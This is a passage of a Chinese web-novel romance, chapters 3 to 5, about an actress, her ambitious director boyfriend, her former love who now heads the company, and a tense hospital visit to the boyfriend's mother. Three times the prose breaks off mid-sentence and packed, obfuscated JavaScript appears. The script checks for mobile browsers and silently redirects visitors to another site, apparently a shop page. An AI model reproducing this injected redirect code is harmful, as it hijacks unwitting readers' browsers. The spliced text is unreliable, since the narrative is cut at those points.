姜梨没理他,裹着身上的外套催促阿黛叫车。 阿黛察觉到情况不对,也不敢多问,忙打开手机给司机打电话。 收了手机,阿黛看向姜梨:“司机说大概要二十分钟,外面冷,咱们先去大堂坐会儿吧。” 姜梨颔首,和阿黛一起重新回到会所大堂。 休息区的沙发上,姜梨简单处理了磨破的脚后跟,贴上创可贴后,终于觉得舒服了点。 阿黛狐疑着小声问她:“梨梨,你身上的外套看着眼生,是遇到了什么人吗?还有这创可贴,谁帮你买的?” 姜梨神色稍怔,想起刚刚那张冷峻利落的脸。 她以为提到慕辰帆,自己最先想到的,应该是自幼一起长大的时光。 然而事实上,最先在她脑海中浮现的,居然是高考结束后那个暑假,某个躁动溽热的午后,在慕辰帆的私人公寓里,她曾跨坐在他腿上,双腿缠紧他的腰,诱他做过最大胆的事。 他曾在她生涩的主动中一点点失控,带着少年的莽撞,与她潮湿的肌肤相贴,从客厅到卧室,直至深夜,用尽了一整盒避孕套。 也因为那一次她不受控制的越界,把他们二人的关系彻底搞僵了。 这些年姜梨经常回想,如果重来一次,她一定不会再招惹慕辰帆,搞得两人最后连朋友都没得做。 见姜梨讳莫如深,情绪有些不对,阿黛识趣地不再多问。 看着大堂亮起的灯火,姜梨脑海中仍想着刚才的事。 其实她心里清楚,今晚这事,怎么也算不到慕辰帆的头上。 她刚才也不知道自己怎么了,所有的火都往他身上发。 或许,被他发现自己现如今的男朋友如此不堪,她觉得没面子,所以恼羞成怒了吧。 - 因为临时出现的变故,饭局结束的时间比乔总预想的要早。 从会所出来,乔总战战兢兢地把慕辰帆以及一众的集团高管送走。 回头看到林晋泽,他顿时气不打一处来:“姜梨今天晚上怎么回事,敢当着慕总的面摔门走人,她到底知不知道自己几斤几两?简直无法无天,我看往后也不用给她安排什么好资源了,让她好好涨涨教训!” 见乔总将过错全推给姜梨,林晋泽上前一步:“乔总,她今晚身体本来就不舒服,是我硬拉她来的。后来我没护住她,她才一时冲动。您别跟她计较。” 乔总冷笑:“林晋泽,公司有能力的导演不止你一个,我让你带女伴出席,是给你脸面。你们倒好,把场子砸得干干净净!你们就这么回报我?” 林晋泽眼神沉了沉,目光直视他:“乔总今晚真是为了提携我,还是想借我的女朋友,去讨好慕总?” 乔总脸色一僵,随即露出惯常圆滑里带着冷意的笑:“大家都是聪明人,你问这个可就没意思了。一个大男人,你这么小气做什么,姜梨是你的女朋友不假,她也是公司的艺人,我和邵总让她坐慕总旁边倒个酒有什么不妥?” “饭局上陪酒,饭局之后呢,是不是还得让她送慕总回家?一旦送了,她今天晚上还回得来吗?乔总今晚的行为,让我拱手把女朋友送去别人的床上有什么两样?” 乔总嗤笑:“你现在倒硬气了?刚刚当着慕总、邵总,以及一众集团高层的面,怎么不见你吱声?你还不是也想着你那部片子、想着那个奖,眼睁睁看着她一个人站在那儿吗?” 林晋泽一时无言,眼底涌出愧色。 乔总看向林晋泽:“这是娱乐圈,什么样的游戏规则你不知道吗?姜梨要是真能被慕总高看一眼,你能少得了好处?指不定将来飞黄腾达,还得谢我今晚推了这一把。可惜,姜梨今晚把慕总得罪了,以后怕是再没这样的机会。你和姜梨一个窝囊,一个任性,简直目光短浅,不堪重用!” 想到慕辰帆离开时的脸色,乔总心里又恼又怵。 还不知道慕总后续会如何发落他。 林晋泽听得额角青筋直跳,怒极反笑:“我们是目光短浅,比不上乔总。想来,若是有哪位贵人看上了您太太,您也能欢天喜地拿自己的太太去换取荣华富贵,锦绣前程。” “林晋泽!”乔总勃然变色,指着他,“你别在这儿跟我阴阳怪气!你一个刚混出点模样的导演,看不惯又能怎样?有本事,你自己爬到那个位置,再来跟我叫板!” 说完,他拉开车门,径自坐进去,扬长而去。 夜风卷过空旷的停车区,吹得人骨头发冷。 林晋泽站在原地,眼底烧着通红的怒意,又被更深的不甘与寒意浸透。 这个圈子向来肮脏,他这样没有背景的人,在那些人眼里,或许从来就不算个“人”。 总有一日…… 他咬紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜梨被她的笑容感染,心情顿时好了不少,双手抱臂倚在门边:“不是减脂餐就行。” “你正值生理期,当然不能吃减脂餐。”阿黛走进来,回头冲她挤眼,“今天我们来体验碳水的快乐。” 姜梨关了门跟上,看到她把早餐摆在落地窗旁的小圆桌上。 先是两碗来自酒店食堂的阳春面,汤头清澈,上面飘着金黄的皮蛋丝和嫩白的小虾米,还有翠绿的青菜。 其中一碗卧着个双黄的荷包蛋,阿黛把这碗放在姜梨那边。 随后她又取出来一个油纸袋,里面是冒着热气的蟹黄汤包。半透明的面皮被汤汁撑得饱满,隐约透出蜜色的蟹油光泽。 姜梨一看裹着汤包的油纸袋,便认出是南记家的。她很爱吃,每次到了生理期都想念这口。 从这里打车过去要一个多小时,而且还得排长队,来回起码得三个小时以上。 姜梨瞬间了然:“他买的?” 阿黛身形一僵,扭头看过来:“林导怕你知道了不肯吃,特意嘱咐我别告诉你来着。 姜梨淡着眉眼在沙发上坐下,拿着筷子低头吃阳春面,看也不看那些汤包。 阿黛偷偷瞥她一眼,试探着问:“昨晚发生了很严重的事?第一次见你和林导生这么大的气。” 姜梨没说话,阿黛又悄声道:“今天早上,剧组好多人讨论,说有人凌晨三点多还看见林导的车停在酒店外面,他坐在车里,半开着窗户在抽烟,估计是在底下等了你一夜。我刚刚买早餐的时候,还有人偷摸议论,说林导为了哄你高兴,连自己的面子都不顾了,挺痴情的。” 姜梨嗤笑:“那些人心疼他,反过来是不是还得说我矫情,作的没边了?” “……没有,你别理那些人,都是嫉妒。”阿黛把蟹黄汤包送到她身边,哄道,“好歹尝尝嘛,凉了就不好吃了。” 姜梨捏着勺子喝了口汤:“我没胃口,你吃吧。” 阿黛:“……” 4. 第 4 章 姜梨有自己的专属房车,不过大多数时候,她还是更愿意和剧组成员一起坐大巴,大家说说笑笑,热热闹闹的。 她和阿黛从酒店出来,大巴就停放在大门口。 林晋泽的保时捷还没走,看见她出来,他打开后车门走下来,还是昨晚饭局上那身衣服,因为一夜未眠,模样有几分憔悴。 姜梨依旧不想搭理他,但不少人透过大巴车的车窗往这边瞧热闹。当着这么多人的面,她不想弄得太难看,最后还是朝他走过去。 林晋泽目光灼灼地望着她。 早上天冷,姜梨穿着墨灰色羊毛大衣,领口敞开,内里的米白针织连衣裙勾勒出纤薄的肩线,黑长直的发松松散在肩背。 那张明媚中带着点英气的脸上未施粉黛,眼尾微垂时却像浸着雾气的月亮,整个人清泠泠的,美得令人移不开眼。 林晋泽喉头动了动,温声问她:“汤包好吃吗?” 姜梨:“这你得问阿黛。” 她的态度过于冷淡,林晋泽滞涩两秒:“当时真的是因为乔总施压,我不得已……我就这么不可原谅?” 姜梨终于掀起眼皮看他:“乔总施压,你就让我坐在别的男人身边陪酒,那下一次乔总施压,让你同意我去跟别人上床呢?你是不是还要点着头说自己不得已?” 林晋泽瞳孔颤了两下:“那我怎么可能同意?我以为只是简单的帮忙倒酒,如果饭局结束还让你陪着,我一定会翻脸的。你我相识这么多年,圈里那些龌龊腌臜的规则,一直都是我帮你挡着,我何时拿你做过向上爬的工具?” 姜梨抿唇。 她想到和林晋泽没在一起时,曾有个给林晋泽投资的男人几次三番给她递房卡,林晋泽知道以后很生气,把那个投资商得罪了,一连很久都拉不来投资,事业也受到影响。 即便这样,他还反过来安慰她,让她不要担心。 其实姜梨不认为那个投资商敢动她,但看着林晋泽替她挡在前面,护她平安,她还是会觉得动容。 后来为了答谢他,她偷偷动用家里的关系,给他找来了投资。 相识多年,姜梨知道他身上的优点,也知道他的缺点。 林晋泽家境贫寒,又早早没了父亲,和体弱的母亲相依为命,孤儿寡母没少遭人欺凌。 好不容易凭着勤勉刻苦考进大学,顺利毕业,却又在这绮丽浮华的娱乐圈内处处碰壁,受权贵欺压,被上位者刁难,曾经最得意的作品被人抢功,连个署名权都没有。 他也被迫沉寂多年,籍籍无名,直到近几年才终于有了起色。 他早年压抑太久,所以总想着出人头地,努力向上爬。 这个想法本没有错,怕就怕渐渐迷失本心,早晚为了登高向上不择手段。 见姜梨的神色缓和,林晋泽双手抚上她的肩膀,言语恳切:“你就当我昨晚鬼迷心窍了,再给我一次机会,我保证以后再也不会这样,行吗?” 过往的人越来越多,大家频频朝这边看。 姜梨深吸一口气,推开他的手:“大家都看着呢,我也该去拍戏了,你先回去,这几天我们两个都冷静一下,先不要联系。” 不等林晋泽再说什么,姜梨直接转身朝着大巴车走去。 姜梨本就出来的晚,因为和林晋泽争执耽误了功夫,大巴车上已经坐了不少人。 秋零今天破天荒的也坐了大巴车,看见她上来,摘下墨镜招呼:“小姜,来坐我这儿?” 她脸上的八卦意味太浓,姜梨没理她,径自往后和阿黛坐在一起。 察觉到车厢内众人频频投来的目光,姜梨闭着眼睛假寐。 车起步,秋零忽然和坐在姜梨前面的一个小演员换了位置。 她转身看过来,手搭在座位扶手上:“和林导吵架了?因为什么事啊,我刚远远看着,吵得还挺激烈。” 姜梨睁开眼:“跟你有关系?” 秋零的老公是剧组的投资方,又是这部剧的女主角,平时所有人都捧着她,就连导演跟她说话都和和气气的。 只有姜梨不把她放在眼里。 秋零有时候想想也觉得不可思议,虽说起初是她看不惯姜梨,处处找她麻烦,但姜梨的身后只有一个有点名气的林晋泽而已,她到底怎么敢总是这种语气态度跟她说话的? 不知道的,还以为她是什么背景深厚的千金大小姐呢,简直不把任何人放在眼里。 估计是被林晋泽给宠坏了,不清楚娱乐圈的水究竟有多深。只要她想,回家跟老公撒撒娇,就能让姜梨连如今这个女二号的角色都没有。 不过秋零不会这么做的。 能让去年刚得了金奖的姜梨给她做配角,这部剧以后肯定有热度,一旦火了,她是女一号,功劳全是她的。 想到这些,秋零便不把姜梨刚才呛她的话放在心上了。 她甚至拿起前辈的姿态来,好心提点她:“有林导的栽培才有你如今的地位,这个金主小是小了点,但总比没有好,你也收着点自己的性子,没有千金命就别耍千金的脾气,别哪天把人气跑了,你到时候哭都来不及。” 姜梨平静地看着她,不说话。 秋零以为她听进去了,有心再给她传授点拴住男人的经验,刚启唇,听到姜梨唤她:“秋老师。” 秋零:“?” 姜梨:“你该做医美了。” 秋零:“……” - 一连几天,姜梨专心在剧组拍戏。 期间林晋泽每天给她发微信,嘱咐她好好吃饭,好好穿衣。 这些信息,她没回过。 偶尔林晋泽来剧组看她,她也不怎么搭理。 这天,经纪人莫雅云来找她聊工作。临走时,莫雅云问她:“跟林导还僵着呢?” 姜梨捧着水杯沉默。 莫雅云轻叹一声:“行吧,你的私生活我不过问。不过林导最近好几天没去公司了,听说是因为他妈妈生病了,他回老家把妈妈接来了安芩的大医院。” 姜梨终于掀起眼睫。 莫雅云说:“我昨天遇到李导,听他说起才知道这事。从老家接来安芩,估计挺严重的。” 她忍不住感慨,“妈妈重病,他的《冻土》原本是耀起最看好的入围国际电影节的作品,结果也被慕总给驳回了,这真是雪上加霜啊。” 阿黛听完诧异:“林导的《冻土》落选了?不是都说,这部作品最有希望吗?” 莫雅云:“谁知道呢,总之慕总最后定了郭导的《回响》。《回响》在国内的口碑是比《冻土》更好些,但细数以往那些得过国际奖的作品,明显还是《冻土》的题材更适合拿奖。你们说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144519|196376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕总也是在影视圈待过的,他心里不清楚这一点吗?” 她看向姜梨,“饭局那晚,莫非林导得罪慕总了?” 姜梨没说话。 莫雅云还有别的事,没再打探太多,匆匆走了。 房车内,姜梨还在想着林晋泽母亲生病住院的事。 因为家境的原因,林晋泽对母亲孤身一人抚育他长大这件事很感恩,也很孝顺。他母亲生病,他心里肯定会很难过。 恰在这时,林晋泽发了微信过来:【又降温了,照顾好自己,别感冒了。】 看着他发来的文字,姜梨多日来第一次回复他:【阿姨生病了?】 泽哥:【你听说了?】 泽哥:【不严重,你别太担心,好好拍戏。】 姜梨:【还有国际奖的事……】 那边许久没有再回消息。 暗夜国际电影节的蓝海星河导演奖,是很多导演人的终极梦想。 姜梨知道他为了拿这个奖付出了很多年的心血,原本是势在必得的。 如今落选,他恐怕一时难以接受。 耀起的乔总,包括集团娱乐版块的邵总,都最看好林晋泽的《冻土》,怎么会突然被慕辰帆换成《回响》? 难道是因为她和慕辰帆吵架,把人给得罪了,他公报私仇? 姜梨仔细想了想,又觉得不会。 慕辰帆没那么小气。 又或者,是慕辰帆看不惯林晋泽那晚的所作所为,淘汰了他的作品? 应该也不会。 分手之后,这五年来两人几乎没联系过,偶尔碰面也跟陌生人差不多。 姜梨知道,慕辰帆心里怨恨她。既然如此,他不可能因为那晚林晋泽没有护着她,就淘汰掉他的作品。 那就只剩下一种可能,是作品本身有问题。 慕辰帆的母亲是业界知名的金牌编剧,他跟着自幼耳濡目染,又混迹演艺圈多年,对影视作品的好坏是有自己的认知的。 她纠结着要不要问问慕辰帆,看看到底是哪里出了问题,看有没有补救的办法。 她找到慕辰帆的微信,在输入框里编辑文字。 敲出第一个字母的时候,姜梨指节顿了下,忽然不知如何开场。 生疏太多年,她有些摸不准慕辰帆现在的脾性,尤其两人前段时间还因为林晋泽吵过一架。 她该以什么样的身份去问他呢,耀起的艺人,还是多年相识的……朋友? 慕辰帆会不会觉得,她是在为林晋泽向他求情? 如果他误会林晋泽想靠关系上位,会不会对林晋泽的印象更差? 姜梨怕触了霉头,反倒弄巧成拙,再把关系搞得更僵,于是把一段文字反复修改多次。 她还在捧着手机斟字酌句,来回删减,对面发来一个符号:【?】 姜梨眼皮一跳,赶紧把编辑的文字删掉,退出微信界面。 让自己冷静一会儿,她再次点开对话框,装作若无其事地回了他:【?】 MZZ:【??】 姜梨:【??】 MZZ:【???】 姜梨无语:【……你有毛病吧,有事说事!】 MZZ:【这话我不得反送给你?你刚才对着我写什么小作文?】 姜梨:【……】 5. 第 5 章 没想到这都能被他抓包,姜梨微囧。 她索性删掉那些斟酌再三的修饰,直白地敲下文字:【那个,我是想问问《冻土》为什么落选了?我能听听理由吗?】 她知道,以她和慕辰帆如今疏远又微妙的关系,这个问题问得既冒昧又公私难辨。 但想到林晋泽这些年的付出,再想到他最近作品落选,母亲重病,即便出于道义,她也觉得应该帮忙问个明白。 《冻土》这部作品,以民国初年北方农村为背景,讲述一个普通农民家庭在土地兼并、军阀混战、自然灾害的多重压迫下,如何艰难求生。 当初姜梨陪着林晋泽去影院看了首映,面对某些感人的情节,她看得直掉眼泪。 姜梨不知道慕辰帆为什么不喜欢这部电影。 手机震动拉回了她的思绪。 MZZ:【从选题到影像风格,《冻土》都精准地踩在评委会的审美点上,他是为了拿奖才创作了这部电影吧?】 姜梨思索片刻,回复:【他有功利心,不代表作品不好。总不能是因为这个吧?】 MZZ:【想听场面话还是真话?】 姜梨:【当然是真话。】 慕辰帆那边,直接发了一段语音过来。 迟疑片刻,姜梨点击播放,男人低沉清冽的嗓音自手机听筒传来:“这些年能在国际电影节上拿奖的华语片,十之八九都在重复相似的苦难叙事。他显然深知这一点,从选题到表达,精准得像是为西方评委量身定做的。苦难叙事,底层挣扎,全是那些西方人期待看到的东方。但今时不同往日,中国的电影人,早该挺直腰杆,讲我们想讲的故事。” “导演的格局,决定作品的上限。为了一个奖杯,放弃自己最擅长的表达去刻意迎合。这样的作品,再精致也缺了风骨。” 姜梨听着慕辰帆言辞犀利的评判,一时语塞。 类似的尖锐评价,她在那些被林晋泽定义为“黑粉”的评论里也看到过不少。 对话框里,仍有消息弹出。 慕辰帆依旧发的语音:“客观来说,我不否认他的导演功底,但《冻土》跟他以往的作品比,匠气过重,是品质最差的。抛开题材合适,审美迎合评委,在影片质量和立意深度方面《冻土》都比不过《回响》。” MZZ:【这就是我的理由。】 姜梨抿唇。 《冻土》的反响不错,其实有林晋泽本人名气加成的因素在,跟他以前的作品不是一种风格,更不是他擅长的领域。 这么些年过去,姜梨最喜欢的,始终是他凭借“极致美学”在业界封神的那部《墨问》。 《墨问》中那种浑然天成的艺术气息和文化自信,在《冻土》里确实少了几分。 近两年来,他太想往高处走,反而失了以前那份举重若轻的从容。 这个认知让姜梨心头泛起细微的涩意。 她一直不愿正视他创作水准的滑落,或许是因为不忍心看到曾经那个才华横溢,执着于艺术表达的导演,也开始学会了精准地计算与迎合。 他迎合的还不是观众,而是远在重洋之外的西方评委。 慕辰帆的话刺耳,但确实说到了痛点上。现如今民族崛起,不同往日,若林晋泽仍沉浸于如何讨好西方视角,他的路只会越走越窄。 她指腹敲字:【我知道了,谢谢。】 先前她对着慕辰帆的对话框编辑文字,被他发现,姜梨猜想,他应该是恰好有事找她。 思索着,她问:【你刚刚找我什么事?】 对面打了一段字删掉,又隔了会儿才回:【没什么,问你外套什么时候还我?】 被他一提醒,姜梨想到这茬:【抱歉,最近戏排的太满,我尽快让人拿去做清洁。】 慕辰帆没有再回。 看看时间,姜梨收了手机从房车上下来,准备下一场戏。 - 慕氏集团,总裁办公室。 巨大的落地窗外是城市天际线,尹慕翊懒散地靠在会客区的沙发里,两条长腿交叠放在茶几,看着慕辰帆收了手机,从窗边踱回办公桌后。 想到刚刚慕辰帆发语音聊林晋泽作品的弊端,他“啧”了声,扬眉:“我该夸你格局大,还是该笑你爱得卑微?这么耐心细致地点评情敌的作品,是想做他的导师,助他修为精进,以图来日再战?” 慕辰帆将手机搁在桌上,面色无波:“职责所在,就事论事。” “行,你专业,你大度。”尹慕翊换了个更舒服的姿势,“回头我姐把你这番金玉良言转达给那位林导,两人灯下共勉,查漏补缺,将来再携手合作一部旷世杰作,捧着奖杯一起站在聚光灯下,被人夸赞金童玉女,到时候你可别后悔。” 慕辰帆抬眼,眸色深静:“不会。” “不会什么?”尹慕翊问,“不会后悔?” 慕辰帆纠正他:“他们不会再一起站在聚光灯下。” 尹慕翊错愕两秒,忽然从慕辰帆过于平静的神情里品出一丝异样。 他忙起身从休息区走过来,拉开椅子坐在慕辰帆对面:“你是不是心里打什么主意呢?” 尹慕翊不清楚他们两个当年到底怎么回事,在一起的鬼鬼祟祟,偷偷摸摸,结束的也戛然而止。 满打满算,恋爱一共谈了还不到一个月,说分开就分开了,跟小孩子过家家似的。 分手以后,那俩人几乎断了联系,互不搭理。 尹慕翊夹在中间,倒显得颇为尴尬。 一直以来,尹慕翊觉得,他们两个恋爱谈得时间短,估计感情没那么深,也没太当回事。 直到去年,姜梨答应林晋泽的告白,当晚慕辰帆拉着他喝闷酒到深夜。 见他醉成那样,尹慕翊试着想打听出什么来,问他到底跟姜梨怎么回事? 慕辰帆一直闷头喝酒,也不说话。 隔了很久,尹慕翊都快睡着了,才隐隐约约听到他自嘲地说:“能怎么回事,不过是被她当试验品,耍了而已。” 这话,让尹慕翊百思不得其解。 不过从那晚慕辰帆的语气,姜梨到底有没有耍弄他尹慕翊不知道,分手后慕辰帆其实一直对姜梨念念不忘,尹慕翊看得清清楚楚。 思绪回转,尹慕翊看向慕辰帆:“这次回国终于想明白了,决定吃回头草?” 慕辰帆缄默。 尹慕翊当他默认,饶有兴味地问:“小舅舅,你打算怎么挖墙脚,跟我说说?” 慕辰帆目光转向尹慕翊,忽然闲闲开口:“你不如想想,如果我和姜梨重新在一起了,你以后打算改口叫我姐夫,还是打算叫她小舅妈。” 尹慕翊:“……” 尹慕翊是姜梨的堂弟。 而尹慕翊的母亲慕柚,又是慕辰帆的堂姐。 这层绕了几绕的亲戚关系,让慕辰帆在辈分上,稳稳压了姜梨和尹慕翊一头。 不过因为姜梨跟慕辰帆本质上没有任何血缘关系,还经常对着慕辰帆呼来喝去。 导致最后处于食物链最底端的,只有尹慕翊一个。 “等你真的把人追回来再说吧。”尹慕翊嗤笑一声,阴阳怪气道,“刚回国就又争又抢的,我看,我该叫你小三才对。” - 自从和慕辰帆聊过,一整个下午,姜梨都有些心事重重。 她不知道该怎么跟林晋泽聊这件事,他近两年随着业界地位的提升,举手投足间都多了几分高傲,又自视甚高,说得直白了反而惹他生气。 但不管怎样,她还是希望他能够反思改变,越来越好。 他还年轻,这次不成,以后还有机会。 晚上拍摄结束,姜梨在两人僵持这么久之后,第一次主动给林晋泽打了电话。 她询问林母如今所在的医院,说明天一早想去探望。 翌日姜梨起了个大早,叫了辆车去往医院。 在医院大门口下车,林晋泽已经早早在等着她。 看见她,男人急忙过来,接过她带来的营养品:“怎么买这么多?” “我和你在一起之后,这是我第一次见阿姨,总不能太寒碜。”姜梨说着,示意手里捧着的粉色百合,“这花的花粉我让人处理过,香气不那么浓烈,阿姨没有对花粉过敏吧?” 林晋泽温声说:“没有,她很喜欢百合。” 姜梨这才放心了些,和林晋泽一同往住院部走。 路上她轻声问:“你妈妈具体是什么病?” 林晋泽:“退行性主动脉瓣狭窄,稍微活动一下就胸闷气喘,医生说需要做一个心脏手术,否则有心衰的风险。” 姜梨面上凝重:“这家医院的实力够吗?要不要再联系安芩这方面最顶尖的专家?我可以帮忙问问。” 姜梨的父母在长莞,生意的重心和人脉都在那边,不过她二爷爷早年把尹氏的部分生意迁来了安芩,成立君华集团。几十年下来,尹氏君华早已在安芩扎了根,尹家这一脉也成了当地上流社会的显赫家族,与慕氏、江氏并称为安芩三世家。 如今的君华集团由二爷爷的儿子、姜梨的叔叔执掌。 叔叔婶婶只有尹慕翊一个儿子,没有女儿,他们把姜梨当女儿一样疼爱。 她觉得这件事,可以找叔叔婶婶帮忙。 林晋泽偏头:“你帮我问?” 姜梨眨了下眼睫:“怎么了?不试试,你怎么知道我不行?” 林晋泽轻笑:“你进这个圈子后认识哪些人,我还能不清楚?放心,已经托人安排好了,现在负责的医生就是安芩最顶尖的。” 见他这么说,姜梨便不再多言。 上次集团年会的路上,她原本想跟他坦白自己的身世的,结果被打了茬。如今不是时机,还是等下次找机会再说吧。 病房到了,林晋泽带着她推门进去:“妈,梨梨来看你了。” 林母半倚在病床上,闻声淡淡瞥来一眼。 姜梨笑着打了声招呼:“阿姨好。” 不料林母竟拉起被子躺下,转身面朝里侧,只留给两人一个疏离的背影。 姜梨脸上的笑意僵滞。 和林晋泽在一起之前,姜梨也见过林母一次,那时候她觉得对方是个很热心的长辈,林母还夸过她长得好看,像仙女,说要给她介绍个男朋友。 没想到如今会这般冷淡。 林晋泽压低声音解释:“她病了以后心情不好,对谁都这样。” 姜梨了然地对他摇摇头,示意自己并不介意。 林晋泽放下营养品,把花摆在床头柜,对病床上的母亲温声道:“妈,您歇一会儿,我和梨梨出去给您买早饭。” 见母亲没有回应,他带着姜梨轻轻退出病房。 带上病房的门,医院的长廊里,林晋泽抚上姜梨的肩膀:“别往心里去,你看她对我也这样不理不睬的,不是刻意针对你。” 看到他面上的紧张,姜梨牵唇笑道:“知道了,我都理解的。” 林晋泽这才放下心来,关切地问:“起这么大早赶过来,没吃早饭吧?” 姜梨摇头。 林晋泽:“医院对面有家生煎不错,我带你去尝尝。” - 两人走进一家生意红火的早餐馆,碍于姜梨的知名度,两人去了楼上包厢。 靠窗的雅座,两人相对而坐。 林晋泽把菜单给她,问她想吃点什么。 姜梨没什么胃口,跟他道:“我都行,你看着点吧。” 林晋泽温声说:“牛肉生煎和鸭血粉丝汤不错,要不尝尝?你最近瘦了不少,应该不用太控制体重。” 姜梨点头:“好啊。” 点单后,服务员离开。 林晋泽望着姜梨,欲言又止,面上浮出愧色:“梨梨,对不起,那晚的事我真的很后悔……” “算了,已经过去了。”姜梨打断他,捧着水杯的指节收紧几分,又缓慢松开,抬眸看着他,“下不为例。” 林晋泽面露喜色:“我保证不会有下次!” 这家店上餐很快,不多时,鸭血粉丝汤和牛肉生煎便摆了上来,林晋泽又另点了两份她爱吃的小菜。 服务员离开后,包厢内两人安静用餐。 姜梨注意到林晋泽比前几日更显疲惫,整个人看着没什么精神气。 除了因为母亲的病,肯定也和作品落选有关系。 捏着汤匙喝了口粉丝汤,姜梨思索着开口宽慰他:“很多导演都是年近半百才获得暗夜奖的入围资格,你才三十岁,未来还有很多机会,别太灰心。” 林晋泽夹起生煎的动作滞了下,抬头时冲她笑:“嗯,我知道。” 姜梨继续斟酌着措辞:“《冻土》的风格确实和你以往的作品不同,可能没有完全发挥出你的优势。要不要考虑继续深耕你擅长和喜爱的领域?以你的才华,下次一定可以的。” 林晋泽突然抬眸:“你觉得我落选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144520|196376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是作品本身的问题?” 姜梨被反问的愣了下,还没想好如何回应,却听他继续道,“我的《冻土》没有问题,慕辰帆就是个富二代,这种人仗着胎投的好,家里花点钱在国外待几年,镀个金边,回来就能坐在慕氏总裁的位置上指点江山,你以为他能有多高的思想深度?他恐怕压根看不懂我的作品。” 他的语气里带着明显的讥讽,让姜梨一时无言。 如果慕辰帆在他眼里是这样的形象,日后她告诉他自己的家境,他会怎么看她这个富二代? 低头默默吃了一会儿东西,姜梨让自己不去想这些。 犹豫片刻,她还是决定再多劝两句:“就算慕辰帆不懂,但网上也有一部分声音,说《冻土》刻意模仿历届获奖作品,过度渲染苦难,但时代已经……” “梨梨,我跟你说过很多次了,网上那些喷子就是在故意抹黑。”林晋泽淡声打断她的话,面上不可置信,“他们躲在暗处随便敲几下键盘,你就觉得是我的能力有问题?” “我不是那个意思,我是觉得既然落选了,总得想想问题出在哪里。那些人的话或许夸大其词,有故意抹黑的成分,但未必没有可取……” “好了!”林晋泽再次冷声打断她,声音变得严厉,“姜梨,你是个演员,好好演你的戏就行了,导演专业的事你不懂。” 姜梨的脸色蓦地一白,抿唇沉默下来。 她垂下眼帘,捏着筷子的指尖无意识地收紧。 这顿早餐在冰冷的沉默中草草结束。 从早餐店出来,姜梨原本打算直接回剧组,又想着总要回病房跟林母打声招呼,便还是随他重新去了住院部。 路上,林晋泽渐渐平复了情绪,也意识到自己刚才对她语气不好。他试探着想去牵她的手,想说些安抚的话。 姜梨却先一步将手抄进大衣口袋,始终低着头,一言不发地走着。 两人沉默着到病房门口,房门还未来得及打开,姜梨听到里面传来林母爽朗的笑声,和先前姜梨过来时林母的冷淡形成鲜明对比。 她略带诧异地隔着门中央的一小块玻璃看过去,一个波浪卷长发,打扮靓丽的女人正和她说话。 林晋泽神色微变,下意识要开门,姜梨察觉到他脸上的异样,迅速握住他的手腕拦住,静静看向门内。 林母看着那女人,眼底带着几分讨好,笑得合不拢嘴:“你这孩子,自己工作那么忙,还天天来看我。为了我的病,你帮阿泽联系专家,忙前忙后的,真是辛苦你了,我都不知道该怎么谢你才好。” 女人嫣然一笑:“阿姨您太客气了,我和阿泽认识这么多年,这点忙是应该的。在我心里,一直把您当作自己的妈妈一样。” 林母脸上的笑意更浓,旋即又遗憾地叹了一声:“优优,你真是个好孩子,和阿泽当年分开真是太可惜了。” 被称作优优的女人轻挽耳边的发丝:“可能是有缘无分吧。不过看他现在有了新女友,感情这么好,我也真心为他高兴。” 林母脸色淡了几分:“好什么呀,就是个比他小很多岁的女演员,事业上全指望阿泽提携。他自己工作已经够累了,还要费心捧着她,我真不知道他图什么。这样的人,在事业上给不了阿泽任何帮助,只会拖累他,我怎么可能满意?” 她无奈摇头,“现在谈就谈了,就当玩玩,阿泽以后若是想娶她,我是绝对不会同意的。” 门外的林晋泽终于听不下去,推开门,皱眉看向床上的母亲:“妈,您说什么呢!” 秦优错愕地看向突然闯进来的林晋泽,又望一眼仍站在门外,脸色难看的姜梨。 她只在荧幕上见到过林晋泽的女朋友,没想到真人竟比镜头里还要惊艳。即便素面朝天,也美得惊心,天然带着一种脱俗的气质。 秦优整理好心情,正要打招呼,林晋泽忽地注意到母亲的病床前摆着一束向日葵,而先前姜梨送她的百合,被丢进了垃圾桶。 他怒道:“妈,花是梨梨特意买给您的,您这是做什么?” 林母理直气壮地看着自己的儿子:“怎么,她特意买的,你妈就非得喜欢?她要是真有心,知道自己方方面面都配不上你,就该及早放手,给别人机会。” “妈!”林晋泽厉声打断,额角青筋微跳。 “阿姨今天的话,我会考虑。”姜梨在门口静静地站着,指尖深深陷进掌心。她深吸一口气,把目光投向林晋泽,声音带着决绝,“既然如此,就不叨扰了。” 见她转身,林晋泽心头一紧,急忙上前捉住她的手腕:“梨梨,我送你……” “不许送!”病房内,林母强势的声音传来,“阿泽,优优还在这呢,你给我进来!” 林晋泽本不打算理会,里面忽然传来秦优担忧的声音:“阿姨,您怎么了?您没事吧?别吓我啊!阿泽,阿泽你快进来!” 林晋泽神色骤变,松开了抓着姜梨的手:“梨梨,你先回去,我找时间去剧组看你。” 他说完,疾步转身进了病房。 姜梨怔怔地站在原地,看着被他松开的手腕,听着病房内传来的关切询问声。 片刻后,她自嘲地笑了下,缓缓转身,朝着电梯走去。 - 姜梨不记得自己是怎么从医院里走出来的。 